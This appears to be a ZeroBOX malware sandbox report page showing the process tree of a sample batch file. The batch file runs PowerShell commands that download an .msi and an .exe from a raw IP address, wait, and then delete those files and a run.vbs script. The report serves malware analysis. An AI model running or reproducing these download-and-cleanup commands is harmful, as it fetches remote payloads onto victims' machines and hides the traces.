| ZeroBOX

Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

| ZeroBOX

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "eOGNExEBrRoREGp" C:\Users\test22\AppData\Local\Temp\ooo.bat
3012
- cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\ooo.bat
  1884
  - powershell.exe Powershell -Command "Invoke-WebRequest 'http://54.177.246.246/t.msi' -OutFile pearl.msi"
    2260
  - powershell.exe Powershell -Command "Invoke-WebRequest 'http://54.177.246.246/a.exe' -OutFile nora.exe"
    2408
  - timeout.exe timeout /t 30 /nobreak
    2532
  - powershell.exe Powershell -Command "Remove-Item 'nora.exe'"
    1844
  - powershell.exe Powershell -Command "Remove-Item 'pearl.msi'"
    2124
  - powershell.exe Powershell -Command "Remove-Item 'C:\Users\user\AppData\Roaming\run.vbs'"
    2864

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf